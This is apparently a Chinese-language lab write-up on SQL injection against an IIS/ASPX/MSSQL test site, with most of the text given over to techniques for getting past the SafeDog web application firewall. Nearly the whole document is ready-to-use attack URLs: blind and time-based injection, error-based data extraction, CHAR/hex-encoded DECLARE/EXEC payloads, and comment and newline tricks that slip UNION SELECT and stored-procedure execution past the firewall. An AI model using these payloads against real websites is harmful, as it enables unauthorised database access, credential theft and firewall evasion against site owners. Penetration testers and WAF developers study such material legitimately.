1.注入类型
- 布尔盲注:http://192.168.232.174/Test.aspx?id=1 and ascii(substring((select top 1 name from master..sysdatabases),1,1))>100
验证如下:
- 时间盲注:http://192.168.232.174/test.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 waitfor delay ‘0:0:5’--+
验证如下:
注:一般不使用 数字占位,而是null,因为数字占位可能会发生隐式转换
用法有以下几种:
2.简单绕过注入
- 报错注入类型语法:
CAST( expression AS data_type )
CONVERT(data_type[(length)], expression [, style]
http://192.168.232.174/test.aspx?id=1; select * from admin where id =1 (select CAST(USER as int))
http://192.168.232.174/test.aspx?id=1;select * from admin where id =1 (select convert(int,user))
通过使用declare
函数(声明局部变量的函数),常用来绕过waf对一些关键词的拦截
declare:定义变量 set:设置变量值 exec:执行变量
http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
- 变量类型支持 hex和char类型
http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
http://192.168.232.174/test.aspx?id=1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
在网页验证是需要将 +改为%2b,才能成功执行
http://192.168.232.174/Test.aspx?id=1;declare @a varchar(2000) set @a=CHAR(115)%2bCHAR(101)%2bCHAR(108)%2bCHAR(101)%2bCHAR(99)%2bCHAR(116)%2bCHAR(32)%2bCHAR(99)%2bCHAR(111)%2bCHAR(110)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(116)%2bCHAR(40)%2bCHAR(105)%2bCHAR(110)%2bCHAR(116)%2bCHAR(44)%2bCHAR(64)%2bCHAR(64)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(115)%2bCHAR(105)%2bCHAR(111)%2bCHAR(110)%2bCHAR(41) exec(@a)--+
3.bypass安全狗
测试环境 IIS+ASPX+MSSQL+IIS安全狗4.0
- 开启安全狗
- 简单句报错
http://192.168.232.174/test.aspx?id=1 and 不拦截
http://192.168.232.174/test.aspx?id=1 and 1 拦截
http://192.168.232.174/test.aspx?id=1 and -1 不拦截
http://192.168.232.174/test.aspx?id=1 and -1=-1 不拦截
http://192.168.232.174/test.aspx?id=1 and ~1 不拦截
http://192.168.232.174/test.aspx?id=1 and ~1=1 拦截
http://192.168.232.174/test.aspx?id=1 and ~1=~1 不拦截
由上述简单测试可知,安全狗对负数和布尔值不敏感。由此,我们可以根据and爆出一些基本信息如下
http://192.168.232.174/test.aspx?id=1 and @@version>~1
接下来,可以利用它的这些特性爆表名
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from sysobjects where xtype='u' and name !=’name’);-- 拦截
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from);-- 不拦截
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from 1);-- 拦截
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from a);-- 拦截
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from !);-- 不拦截
观察上述情况可知,安全狗对于from后面字符型或者整型进行拦截,试图采取符号包裹进行绕过。
http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from[sysobjects]);-- 成功绕过!
接着往后加入where语句,继续测试
and ~1=(select top 1 name from[sysobjects] where xtype='u');-- 拦截
and ~1=(select top 1 name from[sysobjects] where xtype=);-- 不拦截
上述可知,可以试着采用char和hex编码编辑表名
http://192.168.232.174/test.aspx?id=1%20and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--
另外,爆其他的表名 测试发现也是安全狗拦截引号字符,可以用相同的方法绕过即可。
- 联合(union) bypass
http://192.168.232.174/test.aspx?id=1 union 不拦截
http://192.168.232.174/test.aspx?id=1 union select 拦截
http://192.168.232.174/test.aspx?id=1 unionselect 拦截
尝试注释绕过:
http://192.168.232.174/test.aspx?id=1 union/*select*/ 不拦截
http://192.168.232.174/test.aspx?id=1 union/*!select*/ 拦截
http://192.168.232.174/test.aspx?id=1 union/*!1select*/ 不拦截
尝试闭合绕过:
http://192.168.232.174/test.aspx?id=1%20union/*!1*/*select--*/ 成功绕过!
此时,构造payload
http://192.168.232.174/test.aspx?id=1 union/*!1*/*select null,name,null from [admin]--*/
虽然成功绕过,但是语法上有报错,有兴趣可以多尝试一下,将语法错误解决。
- 此外,还有注释+换行进行绕过:
http://192.168.232.174/test.aspx?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/
- 储存过程,万能bypass语句,里面任何代码都可以绕过安全狗
http://192.168.232.174/test.aspx?id=1--/*exec xp_create_subdir 'c:\text'-- */